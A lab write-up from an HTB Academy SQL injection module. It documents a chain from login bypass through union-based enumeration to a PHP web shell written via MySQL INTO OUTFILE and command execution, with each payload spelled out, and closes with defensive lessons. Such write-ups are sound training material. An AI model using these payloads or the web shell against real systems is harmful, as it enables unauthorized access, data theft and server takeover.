SQLi Fundamentals Assessment — HTB Academy
Module: SQL Injection Fundamentals | Platform: HTB Academy
Author: jkonpc
Executive Summary
A web application SQL injection assessment requiring escalation from authentication bypass to remote code execution. The attack progressed through union-based injection for database enumeration, MySQL FILE privilege abuse to write a PHP web shell, and direct webroot file write to achieve command execution as www-data.
| Property | Value |
|---|---|
| Target | Web application — login portal with dashboard search |
| DB User | root@localhost |
| Key Privilege | FILE (unrestricted — secure_file_priv empty) |
| Shell Path | /var/www/html/dashboard/payroll.php |
| Flag Path | /flag_cae1dadcd174.txt |
Attack Chain Overview
- Authentication Bypass: SQLi login bypass via
OR 1=1→ access to authenticated dashboard - Enumeration: Union-based injection on post-auth search → database, table, and column enumeration
- Privilege Discovery:
root@localhostwithFILEandSUPERprivileges, unrestrictedsecure_file_priv - Web Shell Write:
SELECT INTO OUTFILEto write PHP shell directly into webroot - RCE: Direct shell execution via written PHP file → flag retrieval
Phase 1: Authentication Bypass
The login portal was vulnerable to a basic SQL injection bypass:
1
' or 1=1 limit 1 -- -
This returned the first user row and granted access to the authenticated dashboard. The LIMIT 1 ensures a single row is returned to avoid application errors from multi-row results.
Phase 2: Post-Authentication Enumeration
The dashboard search functionality contained a second injection point. Column count was determined via union injection:
1
' UNION SELECT 1,2,3,4,5-- -
Database enumeration:
1
' UNION SELECT 1,GROUP_CONCAT(schema_name),3,4,5 FROM information_schema.schemata-- -
Table and column enumeration against the ilfreight database:
1
' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='ilfreight'-- -
1
' UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users'-- -
Phase 3: Privilege Discovery
The injection was running as root@localhost:
1
' UNION SELECT 1,user(),3,4,5-- -
Privilege enumeration confirmed FILE and SUPER grants:
1
' UNION SELECT 1,grantee,privilege_type,4,5 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
secure_file_priv was empty, meaning MySQL could write files anywhere the OS-level permissions allowed. This is the prerequisite for turning SQLi into RCE via file write.
Phase 4: Web Shell Deployment
The initial write attempt to /var/www/html/ failed with Errcode: 13 "Permission denied". A write to /tmp/shell.php succeeded but Apache treated the file as plaintext when included via LFI — the PHP engine doesn’t execute files included from outside the webroot in this configuration.
An LFI vector existed in the dashboard’s page parameter:
1
http://<target>/dashboard/dashboard.php?page=
Attempting to include the /tmp/shell.php via LFI returned the shell content as text, not executed PHP. Apache’s configuration prevented PHP execution on files outside the webroot.
The working approach was writing directly into an existing writable webroot subdirectory:
1
' UNION SELECT "", "<?php system($_REQUEST[0]); ?>", "", "", "" INTO OUTFILE '/var/www/html/dashboard/payroll.php'-- -
Confirming execution:
1
http://<target>/dashboard/payroll.php?0=id
1
www-data
Phase 5: Flag Retrieval
Standard flag locations (/root/, /home/*/flag.txt) were empty. A filesystem search located the flag in the root directory:
1
http://<target>/dashboard/payroll.php?0=cat%20/flag_cae1dadcd174.txt
Lessons Learned
Post-Auth Injection Points Are Higher Value: The login bypass was trivial, but the real damage came from the post-authentication injection point on the dashboard. Authenticated injection often runs with higher database privileges and has access to more application functionality. Stopping at login bypass leaves the most dangerous attack surface untouched — always enumerate further after initial access.
FILE Privilege With Empty secure_file_priv Is Game Over: MySQL’s FILE privilege combined with an unrestricted secure_file_priv allows writing arbitrary files anywhere the MySQL process has OS-level write access. This turns any SQL injection into a potential RCE vector. Defenders should restrict secure_file_priv to a specific directory (or disable it entirely), and the database user should never be root — principle of least privilege would have contained this to data exfiltration only.
Webroot Write Restrictions Matter: The failed write to /var/www/html/ and the non-executing LFI from /tmp/ demonstrate that OS-level file permissions are a meaningful defense layer. The attack only succeeded because a subdirectory (/dashboard/) was writable by the MySQL process. Hardening file permissions on webroot directories and running MySQL under a restricted user would have blocked the RCE chain entirely, even with FILE privilege.
Tools Used
| Tool | Purpose |
|---|---|
| Browser | Manual SQL injection via form fields and URL parameters |
| Burp Suite | Request interception and payload manipulation |
| MySQL (via injection) | Database enumeration, privilege discovery, file write |
| PHP web shell | Command execution via system() function |